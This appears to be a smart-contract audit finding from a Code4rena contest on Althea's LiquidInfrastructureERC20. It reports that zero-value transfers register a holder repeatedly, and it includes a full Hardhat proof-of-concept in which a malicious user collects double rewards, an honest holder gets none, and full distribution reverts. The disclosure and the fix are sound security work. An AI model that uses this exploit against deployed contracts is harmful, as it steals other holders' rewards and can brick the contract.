Althea Liquid Infrastructure - krikolkk's results

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142-L145

Vulnerability details

Description

In LiquidInfrastructureERC20 during a token transfer, the recipient of the tokens is added to the holders array if their current balance is 0. However, they are added to the array even if the transferred balance is 0, which allows for a holder to be registered multiple times before they receive the amount of tokens other than 0. Moreover, the contract can end up in an unusable state.

Impact

Users will be able to steal the rewards of other users. The contract can end up in a bricked state and can become unusable.

Proof of Concept

The following test considers this scenario:

1. three users are whitelisted to hold the token
2. the first user gets half of the tokens
3. the first user transfers 0 tokens to the second user
4. the first user transfers his tokens to the second user
5. the third user gets half of the tokens
6. calling distributeToAllHolders will revert because the function will try to distribute more tokens than there are inside the contract
7. it is, however, possible to call distribute(2), which will distribute rewards twice to the second (malicious) user. The third (honest) user will get 0 rewards, although they hold half of the liquid ERC-20.

Note that there is no bound on how many times the malicious user can be inside of the holders array, meaning with only one token the malicious user can get enough weight to get rewards for the whole total supply of the liquid ERC-20.

This scenario is coded in the following test.

it("double distribution", async function () {
  const signers = await ethers.getSigners();
  const nftAccount1 = signers[0];
  const erc20Owner = signers[3];
  // in this scenario we have a malicious user who will be allocated double rewards
  const malicious1 = signers[4];
  // note it is necessary to have two malicious addresses - the second one might be
  // another whitelisted address of the first malicious user
  const malicious2 = signers[1];
  const honest = signers[2];

  // reward ERC20
  const { testERC20A: erc20a } = await deployContracts(erc20Owner);
  const erc20Addresses = [await erc20a.getAddress()];

  // Deploy the LiquidInfra ERC20 token with no initial holders nor managed NFTs
  const infraERC20 = await deployLiquidERC20(
    erc20Owner,
    "Infra",
    "INFRA",
    [],
    [],
    500,
    erc20Addresses
  );

  expect(await infraERC20.name()).to.equal("Infra");
  expect(await infraERC20.symbol()).to.equal("INFRA");

  const holders = [malicious1, malicious2, honest];
  for (let holder of holders) {
    const address = holder.address;
    await infraERC20.approveHolder(address);
  }

  const nftOwner = nftAccount1;
  const nft = await deployLiquidNFT(nftAccount1);
  const erc20s: ERC20[] = [erc20a];
  await nft.setThresholds(
    erc20s,
    erc20s.map(() => 0)
  );

  // Register one NFT as a source of reward erc20s
  await transferNftToErc20AndManage(infraERC20, nft, nftOwner);
  await mine(1);

  // Allocate some rewards to the NFT
  const rewardAmount = 1000000;
  await erc20a.transfer(await nft.getAddress(), rewardAmount);
  expect(await erc20a.balanceOf(await nft.getAddress())).to.equal(rewardAmount);

  // And then send the rewards to the ERC20
  await infraERC20.withdrawFromAllManagedNFTs();

  // mint first batch of tokens to malicious user
  await infraERC20.mint(malicious1.address, rewardAmount / 2);

  // malicious user sends 0 tokens to another malicious user
  await infraERC20.connect(malicious1).transfer(malicious2.address, 0);

  // malicious user sends his tokens to the other malicious user
  await infraERC20
    .connect(malicious1)
    .transfer(malicious2.address, rewardAmount / 2);

  // mint second batch of tokens to holder3
  await infraERC20.mint(honest.address, rewardAmount / 2);

  expect(await infraERC20.balanceOf(await malicious2.address)).to.equal(
    rewardAmount / 2
  );
  expect(await infraERC20.balanceOf(await honest.address)).to.equal(
    rewardAmount / 2
  );

  // save balances of users before
  const balanceOfMalicious2Before = await erc20a.balanceOf(malicious2);
  const balanceOfHonestBefore = await erc20a.balanceOf(honest);

  await mine(500);
  // note that distribute to all will revert
  await expect(infraERC20.distributeToAllHolders()).to.be.rejected;
  // distribute to first three (the expected size of the array) will work
  await infraERC20.distribute(2);

  const balanceOfMalicious2After = await erc20a.balanceOf(malicious2);
  const balanceOfHonestAfter = await erc20a.balanceOf(honest);

  const rewardMalicious2 = balanceOfMalicious2After - balanceOfMalicious2Before;
  const rewardhonest = balanceOfHonestAfter - balanceOfHonestBefore;

  // second malicious user will have rewardAmount
  // although they should only have rewardAmount/2
  // since that's their balance of the infra erc20
  expect(rewardMalicious2).to.equal(rewardAmount);
  // the honest user will not have any rewards altough 2 users
  // should have been rewarded
  expect(rewardhonest).to.equal(0);
});

Tools Used

Manual review, Hardhat

Recommended Mitigation Steps

Consider expanding the current condition of adding the holder to the holders array to check if the amount transferred is 0.

        bool exists = (this.balanceOf(to) != 0);
-       if (!exists) {
+       if (!exists && amount > 0) {
            holders.push(to);
        }

Assessed type

Token-Transfer